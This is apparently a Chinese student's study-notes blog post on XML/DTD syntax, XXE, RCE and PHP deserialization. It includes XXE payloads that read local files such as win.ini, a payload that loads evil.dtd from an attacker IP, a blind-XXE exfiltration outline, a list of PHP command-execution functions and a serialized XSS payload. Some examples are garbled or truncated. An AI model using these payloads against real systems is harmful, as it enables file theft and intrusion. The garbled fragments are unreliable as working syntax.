XXE/RCE/序列化反序列化

这几个学得都有点蒙,学得不是很认真,学不下去感觉。不知道学了些什么,也可能是自己身体原因。挺痛苦的。

XXE

xxe是服务ssrf的。

要利用xxe还得需要学会xml和dtd是什么怎么样用的

xml

文档用来记录内容的

xml就由以下构成
元素
属性
实体
PCDATA
CDATA


元素

元素是 XML 以及 HTML 文档的主要构建模块。

HTML 元素的例子是 "body" 和 "table"。XML 元素的例子是 "note" 和 "message" 。元素可包含文本、其他元素或者是空的。空的 HTML 元素的例子是 "hr"、"br" 以及 "img"。

实例:

some text

some text

属性可提供有关元素的额外信息。

属性总是被置于某元素的开始标签中。属性总是以名称/值的形式成对出现的。下面的 "img" 元素拥有关于源文件的额外信息:

 元素的名称是 "img"。属性的名称是 "src"。属性的值是 "computer.gif"。由于元素本身为空,它被一个 " /" 关闭。 * * * ## 实体 实体是用来定义普通文本的变量。实体引用是对实体的引用。

大多数同学都了解这个 HTML 实体引用:" "。这个"无折行空格"实体在 HTML 中被用于在某个文档中插入一个额外的空格。

当文档被 XML 解析器解析时,实体就会被展开。


PCDATA

PCDATA 的意思是被解析的字符数据(parsed character data)。

可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。

PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。

文本中的标签会被当作标记来处理,而实体会被展开。

不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们。


CDATA

CDATA 的意思是字符数据(character data)。

CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

XML 必须包含根元素,它是所有其他元素的父元素,比如以下实例中 root 就是根元素:

<root>
  <child>
    <subchild>.....</subchild>
  </child>
</root>

以下实例中 note 是根元素:

<?xml version="1.0" encoding="UTF-8"?>
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

XML 标签对大小写敏感。标签 与标签 是不同的
语法大致与HTML相同
XML就是一个记东西的

XML 用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素(XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息)

<?xml version=”1.0” encoding="gb2312" encoding=”UTF-8”?>	//xml 声明、版本、编码
<!DOCTYPE root system "http://www.XXXX.com/file"[ //定义 DTD 文件,格式为:root 指定根节点名称,system 声明要使用的外部 DTD 文件路径,后面加文件 URL,注意[]包裹。
<!ELEMENT root (other)>	// 元素声明,声明 xml 中包含的元素,声明中需要指定元素名root、other 等)和元素类别、内容等
<!ELEMENT to (#PCDATA)>
// <!--定义 to 元素为”#PCDATA”类型-->
<!ELEMENT generalentity "content" >	//ELEMENT 标签用于声明实体,关于实体的定义如下:
“实体是用于定义引用普通文本或特殊字符的快捷方式的变量”实体是在 DTD 文件中定义
的变量,xml 解析器解析 xml 文件的时候,会将被的引用替换为实体内容,实体分为:预定义实体、普通实体、参数实体,此处定义了普通实体 generalentity,内容为 content
<!ELEMENT % extendentity SYSTEM "http://www.XXXX.com/file"> //定义参数实体,格式为:<!ELEMENT % 参数名称 参数内容>引用格式:%参数名称参数实体只能在 DTD 文件中引用,内部 DTD 文件的参数引用只能出现于 DTD 标签可出现的位置,外部 DTD 文件参数实体的引用可以出于 DTD 标签内容,比如:<!ELEMENT %
"%another">
%extendentity;	//引用参数外部实体

文档结构

<!--XML 声明-->

<?xml version="1.0"?>

<!--文档类型定义-->

<!DOCTYPE note [	<!--定义此文档是 note 类型的文档-->


<!ELEMENT note (to,from,heading,body)>	<!--定义 note 元素有四个元素-->

<!ELEMENT to (#PCDATA)>	<!--定义 to 元素为”#PCDATA”类型-->	
                
<!ELEMENT from (#PCDATA)>	<!--定义 from 元素为”#PCDATA”类型-->
                
<!ELEMENT head (#PCDATA)>	<!--定义 head 元素为”#PCDATA”类型-->
                
<!ELEMENT body (#PCDATA)>	<!--定义 body 元素为”#PCDATA”类型-->
                
]]]>					
            
<!--下面为文档元素-->			
        
<note>			
                    


<to>Dave</to>	//调用 Dave 实体(此步骤不可缺)

<from>Tom</from>

<head>Reminder</head>

<body>You are a good man</body>

</note>

 DTD

在 DTD 中,XML 元素通过元素声明来进行声明。元素声明使用下面的语法:


空元素
空元素通过类别关键词EMPTY进行声明:

实例:

<!ELEMENT br EMPTY>

XML example:

<br />

只有 PCDATA 的元素
只有 PCDATA 的元素通过圆括号中的 #PCDATA 进行声明:

实例:

带有任何内容的元素
通过类别关键词 ANY 声明的元素,可包含任何可解析数据的组合:

实例:

带有子元素(序列)的元素
带有一个或多个子元素的元素通过圆括号中的子元素名进行声明:

实例:

当子元素按照由逗号分隔开的序列进行声明时,这些子元素必须按照相同的顺序出现在文档中。在一个完整的声明中,子元素也必须被声明,同时子元素也可拥有子元素。"note" 元素的完整声明是:

声明只出现一次的元素

实例:

上面的例子声明了:message 子元素必须出现一次,并且必须只在 "note" 元素中出现一次。

声明最少出现一次的元素

实例:

上面的例子中的加号(+)声明了:message 子元素必须在 "note" 元素内出现至少一次。

声明出现零次或多次的元素

实例:

上面的例子中的星号(*)声明了:子元素 message 可在 "note" 元素内出现零次或多次。

声明出现零次或一次的元素

实例:

上面的例子中的问号(?)声明了:子元素 message 可在 "note" 元素内出现零次或一次。

声明"非.../即..."类型的内容
实例:

上面的例子声明了:"note" 元素必须包含 "to" 元素、"from" 元素、"header" 元素,以及非 "message" 元素即 "body" 元素。

声明混合型的内容
实例:

上面的例子声明了:"note" 元素可包含出现零次或多次的 PCDATA、"to"、"from"、"header" 或者 "message"。

三种引用方式

1.DTD 内部声明

2.DTD 外部引用

3.引用公共 DTD

实体类别

内置实体 (Built-in entities)

字符实体 (Character entities)

通用实体 (General entities)

参数实体 (Parameter entities)
参数实体用%实体名称申明,引用时也用%实体名称;其余实体直接用实体名称申明,引用时用&实体名称。参数实体只能在 DTD 中申明,DTD 中引用;其余实体只能在 DTD 中申明,可在 xml 文档中引用


内部实体


外部实体


参数实体

或者

参数实体是在 DTD 中被引用的,而其余实体是在 xml 文档中被引用的。

***实体声明(重要)

1.内部实体声明

一个实体由三部分构成:&符号, 实体名称, 分号 (;),这里&不论在 GET 还是在 POST中都需要进行 URL 编码,因为是使用参数传入 xml 的,&符号会被认为是参数间的连接符号

<!DOCTYPE foo [<!ELEMENT foo ANY >//任意元素
<!ENTITY xxe	"oldboyedu.com">]>
<foo>&xxe;</foo>

2.外部实体声明

外部引用可支持 http,file 等协议,不同的语言支持的协议不同,但存在一些通用的协议,

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY	xxe SYSTEM	"file:///c:/windows/win.ini"	>]>
<foo>&xxe;</foo>

3. 参数实体声明

例子读取evil.dtd中的内容,evil.dtd内容为c盘下的文件内容

<!DOCTYPE foo [<!ELEMENT	foo ANY >		
<!ENTITY   % xxe SYSTEM	"http://192.168.0.105:8080/evil.dtd"  >	
%xxe;]>				
<foo>&evil;</foo>

外部 evil.dtd 中的内容。

<!ENTITY evil SYSTEM	"file:///c:/windows/win.ini"

4.引用公共实体

然后就是xxe攻击了

大致攻击

攻击者url1(192.168.1.105)搭建了dtd文件,
目标url2(192.168.1.67)存在xxe漏洞
利用xml构造,引用url1中的dtd文件(外部引用),来攻击url2

利用 xxe 漏洞可以进行拒绝服务攻击,文件读取,命令(代码)执行,SQL(XSS)注入,内外扫描端口,入侵内网站点等,内网探测和入侵是利用 xxe 中支持的协议进行内网主机和端口发现,可以理解是使用 xxe 进行 SSRF 的利用,基本上啥都能做了

一般 xxe 利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到 Payload 的执行结果或现象,无回显的情况又称为 blind xxe,可以使用外带数据通道提取数据。

可以使用外带数据通道提取数据,先使用 php://filter 获取目标文件的内容,然后将内容以 http 请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。

%remote;%int;%send;

]>

1.有回显情况:

有回显的情况可以使用如下的两种方式进行 XXE 注入攻击。

]> &xxe;

%xxe;]>

&evil;

外部 evil.dtd 中的内容。

RCE

远程代码执行/命令执行

大致分为ping,和eval两种,需要针对目标服务器的不同使用不同的代码

其实就是上传窗口哪里加上自己需要的代码,来实现命令执行

(1)执行系统命令: assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反单引号)
(2)代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
(3)文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
(4).htaccess: SetHandler, auto_prepend_file, auto_append_file

为了节省资源,将一个对象变成可以传输的字符串
比如class类里面存了一些变量,不销毁会浪费资源,可以将该类序列号
php中函数serialize()[序列号],unserialize()[反序列化]
反序列化就是把序列化的字符串转化成对象

O:1:"S":1:{s:4:"test";s:7:"pikachu";}
        O:代表object
        1:代表对象名字长度为一个字符
        S:对象的名称
        1:代表对象里面有一个变量
        s:数据类型
        4:变量名称的长度
        test:变量名称
        s:数据类型
        7:变量值的长度
        pikachu:变量值

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
利用方式xss

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值